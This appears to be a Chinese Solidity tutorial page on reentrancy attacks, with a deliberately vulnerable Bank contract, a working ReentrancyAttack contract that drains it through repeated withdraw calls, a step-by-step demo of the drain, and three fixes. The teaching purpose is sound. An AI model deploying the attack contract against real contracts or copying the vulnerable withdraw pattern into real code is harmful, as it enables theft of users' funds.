当前位置:网站首页>[100个Solidity使用技巧]1、合约重入攻击
[100个Solidity使用技巧]1、合约重入攻击
2022-07-30 09:28:00 【33357】
原文发布在 https://github.com/33357/smartcontract-apps 这是一个面向中文社区,分析市面上智能合约应用的架构与实现的仓库。欢迎关注开源知识项目!
合约重入攻击
原理分析
合约重入攻击,是指在同一交易中对业务合约进行多次调用,从而实现对合约的攻击。
- 合约重入
如果业务合约的公开方法中,有提现 Ether 或者调用第三方合约的操作,那么就可以对合约方法的进行二次以及多次调用,从而实现合约重入。
- 重入攻击
大多数情况下,重入攻击利用了业务合约先提现 Ether 或者调用第三方合约,然后修改合约状态的漏洞,从而实现重入攻击。
流程图示
- 合约重入
- 重入攻击
示例代码
这是一个简单的 Bank 合约示例,它的功能是存入和提现 Ether。如果你看不出合约的问题,说明你正需要学习这节课。(这个合约有巨大漏洞,请不要直接使用在任何实际业务中)
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.12;
interface IBank {
function deposit() external payable;
function withdraw() external;
}
contract Bank {
mapping(address => uint256) public balance;
uint256 public totalDeposit;
function ethBalance() external view returns (uint256) {
return address(this).balance;
}
function deposit() external payable {
balance[msg.sender] += msg.value;
totalDeposit += msg.value;
}
function withdraw() external {
require(balance[msg.sender] > 0, "Bank: no balance");
msg.sender.call{
value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
}
contract ReentrancyAttack {
IBank bank;
constructor(address _bank) {
bank = IBank(_bank);
}
function doDeposit() external payable {
bank.deposit{
value: msg.value}();
}
function doWithdraw() external {
bank.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
bank.withdraw();
}
}
演示流程
选择 solidity 版本为 0.8.12,部署 Bank 合约。
将 Bank 合约地址作为参数部署 ReentrancyAttack 合约。
value 选择 1 Ether,点击 Bank 合约的 deposit 方法,存入 1 Ether。
value 选择 1 Ether,点击 ReentrancyAttack 合约的 doDeposit 方法,存入 1 Ether。
点击 Bank 合约的 totalDeposit 方法,是 2 Ether,点击 Bank 合约的 ethBalance 方法,也是 2 Ether。
点击 ReentrancyAttack 合约的 doWithdraw 方法,进行重入攻击。
点击 Bank 合约的 totalDeposit 方法,是 1 Ether,点击 Bank 合约的 ethBalance 方法,却是 0 Ether。
使用 Bank 合约的 balance 方法查看 ReentrancyAttack 合约地址和合约创建者,发现合约创建者 balance 为 1 Ether,但是合约里已经没有 Ether 可以提供兑付。
修复问题
- 禁止重入
boolean public entered;
modifier nonReentrant() {
require(!entered, "Bank: reentrant call");
entered = true;
_;
entered = false;
}
function withdraw() nonReentrant external {
require(balance[msg.sender] > 0, "Bank: no balance");
msg.sender.call{
value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
使用 nonReentrant 来禁止合约重入,可以防止重入攻击。这里推荐使用 openzeppelin 的官方防重入合约 @openzeppelin/contracts/security/ReentrancyGuard.sol。
- 在提现 Ether 或者调用第三方合约之前,先修改合约状态
function withdraw() external {
require(balance[msg.sender] > 0, "Bank: no balance");
uint256 _balance = balance[msg.sender];
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
msg.sender.call{
value: _balance}("");
}
优先修改合约状态,虽然不能禁止合约重入,但可以避免被重入攻击。
- 禁止转账 Ether 到合约地址
function withdraw() nonReentrant external {
require(balance[msg.sender] > 0, "Bank: no balance");
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
require(size == 0, "Bank: cannot transfer to contract");
msg.sender.call{
value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
禁止转账 Ether 到合约地址,可以防止转账 Ether 导致的合约重入。
边栏推荐
猜你喜欢

梅科尔工作室-看鸿蒙设备开发实战笔记四——内核开发

ThreadLocal内存泄漏是伪命题?

Domino服务器SSL证书安装指南

JCL 学习

Using IN in MySQL will not go through index analysis and solutions

BERT预训练模型系列总结

(***重点***)Flink常见内存问题及调优指南(一)

Unreal Engine Graphic Notes: could not be compiled. Try rebuilding from source manually. Problem solving

微软 SQL 服务器被黑,带宽遭到破坏

The thread pool method opens the thread -- the difference between submit() and execute()
随机推荐
leetcode 剑指 Offer 15. 二进制中1的个数
Beijing suddenly announced big news in the Metaverse
BERT pre-training model series summary
C语言顺序表基本操作
元宇宙改变人类工作模式的四种方式
debian10安装djando
Devops和低代码的故事:螳螂捕蝉,黄雀在后
EViews 12.0 software installation package download and installation tutorial
ospf2双点双向重发布(题2)
Shell系统学习之数组
判断一颗树是否为完全二叉树——视频讲解!!!
leetcode 剑指 Offer 25. 合并两个排序的链表
(BUG记录)No module named PIL
Matplotlib--绘图标记
2022年顶会accepted papers list
A new generation of free open source terminal tool, so cool
leetcode 剑指 Offer 46. 把数字翻译成字符串
多线程--线程和线程池的用法
企业数字化建设,自研还是采购?
【云原生】Kubernetes入门详细讲解